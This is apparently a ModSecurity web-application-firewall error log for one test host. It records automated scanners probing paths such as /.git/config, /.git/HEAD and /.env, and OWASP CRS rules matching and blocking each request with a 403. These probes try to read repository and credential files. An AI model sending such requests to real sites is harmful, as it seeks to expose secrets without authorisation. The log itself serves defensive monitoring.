[hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZjUdzbN1lLNT9IB1Z7O2nQAAAAY&quot;]
[Fri May 03 19:24:29.547233 2024] [:error] [pid 2944865] [client 3.94.195.139:58678] [client 3.94.195.139] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZjUdzbN1lLNT9IB1Z7O2nQAAAAY&quot;]
[Fri May 03 19:24:29.547635 2024] [:error] [pid 2944865] [client 3.94.195.139:58678] [client 3.94.195.139] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZjUdzbN1lLNT9IB1Z7O2nQAAAAY&quot;]
[Wed May 08 03:14:09.510192 2024] [:error] [pid 3051245] [client 35.85.227.122:43294] [client 35.85.227.122] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZjrR4Za7fo20Kiv_9C8ERwAAAAA&quot;]
[Wed May 08 03:14:09.510970 2024] [:error] [pid 3051245] [client 35.85.227.122:43294] [client 35.85.227.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZjrR4Za7fo20Kiv_9C8ERwAAAAA&quot;]
[Wed May 08 03:14:09.511444 2024] [:error] [pid 3051245] [client 35.85.227.122:43294] [client 35.85.227.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZjrR4Za7fo20Kiv_9C8ERwAAAAA&quot;]
[Wed May 08 09:53:13.859666 2024] [:error] [pid 3069776] [client 193.233.49.207:41326] [client 193.233.49.207] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;ZjsvafNMt3jmqWcXWPtmrAAAAAY&quot;]
[Wed May 08 09:53:13.861353 2024] [:error] [pid 3069776] [client 193.233.49.207:41326] [client 193.233.49.207] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;ZjsvafNMt3jmqWcXWPtmrAAAAAY&quot;]
[Wed May 08 09:53:13.861801 2024] [:error] [pid 3069776] [client 193.233.49.207:41326] [client 193.233.49.207] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/HEAD&quot;] [unique_id &quot;ZjsvafNMt3jmqWcXWPtmrAAAAAY&quot;]
[Wed May 08 11:59:34.672276 2024] [:error] [pid 3051247] [client 20.127.157.200:53346] [client 20.127.157.200] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZjtNBr8b0vAqq5m7MniNXwAAAAI&quot;]
[Wed May 08 11:59:34.673010 2024] [:error] [pid 3051247] [client 20.127.157.200:53346] [client 20.127.157.200] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZjtNBr8b0vAqq5m7MniNXwAAAAI&quot;]
[Wed May 08 11:59:34.673460 2024] [:error] [pid 3051247] [client 20.127.157.200:53346] [client 20.127.157.200] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZjtNBr8b0vAqq5m7MniNXwAAAAI&quot;]
[Thu May 09 01:49:36.004513 2024] [:error] [pid 3084625] [client 103.102.228.23:54722] [client 103.102.228.23] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZjwPkA3F2QOE5asn106S3AAAAAk&quot;]
[Thu May 09 01:49:36.005412 2024] [:error] [pid 3084625] [client 103.102.228.23:54722] [client 103.102.228.23] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZjwPkA3F2QOE5asn106S3AAAAAk&quot;]
[Thu May 09 01:49:36.005860 2024] [:error] [pid 3084625] [client 103.102.228.23:54722] [client 103.102.228.23] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZjwPkA3F2QOE5asn106S3AAAAAk&quot;]
[Thu May 09 03:29:01.356085 2024] [:error] [pid 3087046] [client 3.84.118.17:34274] [client 3.84.118.17] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Zjwm3dDuEu4lH9Kpw9-5RwAAAAQ&quot;]
[Thu May 09 03:29:01.357041 2024] [:error] [pid 3087046] [client 3.84.118.17:34274] [client 3.84.118.17] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Zjwm3dDuEu4lH9Kpw9-5RwAAAAQ&quot;]
[Thu May 09 03:29:01.357514 2024] [:error] [pid 3087046] [client 3.84.118.17:34274] [client 3.84.118.17] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Zjwm3dDuEu4lH9Kpw9-5RwAAAAQ&quot;]
[Thu May 09 04:39:59.136718 2024] [:error] [pid 3087044] [client 91.215.85.43:45874] [client 91.215.85.43] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /beta/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/beta/.git/config&quot;] [unique_id &quot;Zjw3f_sXqwCp__WmJJb_9wAAAAI&quot;]
[Thu May 09 04:39:59.137465 2024] [:error] [pid 3087044] [client 91.215.85.43:45874] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/beta/.git/config&quot;] [unique_id &quot;Zjw3f_sXqwCp__WmJJb_9wAAAAI&quot;]
[Thu May 09 04:39:59.137785 2024] [:error] [pid 3087046] [client 91.215.85.43:45868] [client 91.215.85.43] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /a/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/a/.git/config&quot;] [unique_id &quot;Zjw3f9DuEu4lH9Kpw9-5SgAAAAQ&quot;]
[Thu May 09 04:39:59.137941 2024] [:error] [pid 3087044] [client 91.215.85.43:45874] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/beta/.git/config&quot;] [unique_id &quot;Zjw3f_sXqwCp__WmJJb_9wAAAAI&quot;]
[Thu May 09 04:39:59.138332 2024] [:error] [pid 3087046] [client 91.215.85.43:45868] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/a/.git/config&quot;] [unique_id &quot;Zjw3f9DuEu4lH9Kpw9-5SgAAAAQ&quot;]
[Thu May 09 04:39:59.138724 2024] [:error] [pid 3087046] [client 91.215.85.43:45868] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/a/.git/config&quot;] [unique_id &quot;Zjw3f9DuEu4lH9Kpw9-5SgAAAAQ&quot;]
[Thu May 09 04:39:59.176785 2024] [:error] [pid 3088694] [client 91.215.85.43:45890] [client 91.215.85.43] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /admin/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.git/config&quot;] [unique_id &quot;Zjw3f-YW-t8Qib2gMC8FxQAAAAc&quot;]
[Thu May 09 04:39:59.178518 2024] [:error] [pid 3087047] [client 91.215.85.43:45882] [client 91.215.85.43] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /aomanalyzer/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aomanalyzer/.git/config&quot;] [unique_id &quot;Zjw3fziuM1_7lpzHjPaDXwAAAAU&quot;]
[Thu May 09 04:39:59.179136 2024] [:error] [pid 3087047] [client 91.215.85.43:45882] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aomanalyzer/.git/config&quot;] [unique_id &quot;Zjw3fziuM1_7lpzHjPaDXwAAAAU&quot;]
[Thu May 09 04:39:59.179553 2024] [:error] [pid 3087047] [client 91.215.85.43:45882] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/aomanalyzer/.git/config&quot;] [unique_id &quot;Zjw3fziuM1_7lpzHjPaDXwAAAAU&quot;]
[Thu May 09 04:39:59.179799 2024] [:error] [pid 3087045] [client 91.215.85.43:45888] [client 91.215.85.43] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/user/v4/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v4/.git/config&quot;] [unique_id &quot;Zjw3fyELaz4DfY2fUB64DQAAAAM&quot;]
[Thu May 09 04:39:59.180502 2024] [:error] [pid 3087045] [client 91.215.85.43:45888] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v4/.git/config&quot;] [unique_id &quot;Zjw3fyELaz4DfY2fUB64DQAAAAM&quot;]
[Thu May 09 04:39:59.180956 2024] [:error] [pid 3087045] [client 91.215.85.43:45888] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v4/.git/config&quot;] [unique_id &quot;Zjw3fyELaz4DfY2fUB64DQAAAAM&quot;]
[Thu May 09 04:39:59.182513 2024] [:error] [pid 3088694] [client 91.215.85.43:45890] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.git/config&quot;] [unique_id &quot;Zjw3f-YW-t8Qib2gMC8FxQAAAAc&quot;]
[Thu May 09 04:39:59.182985 2024] [:error] [pid 3087474] [client 91.215.85.43:45906] [client 91.215.85.43] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/v1/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v1/.git/config&quot;] [unique_id &quot;Zjw3f1kTMp1zDXQNLxBuNwAAAAY&quot;]
[Thu May 09 04:39:59.183033 2024] [:error] [pid 3088694] [client 91.215.85.43:45890] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.git/config&quot;] [unique_id &quot;Zjw3f-YW-t8Qib2gMC8FxQAAAAc&quot;]
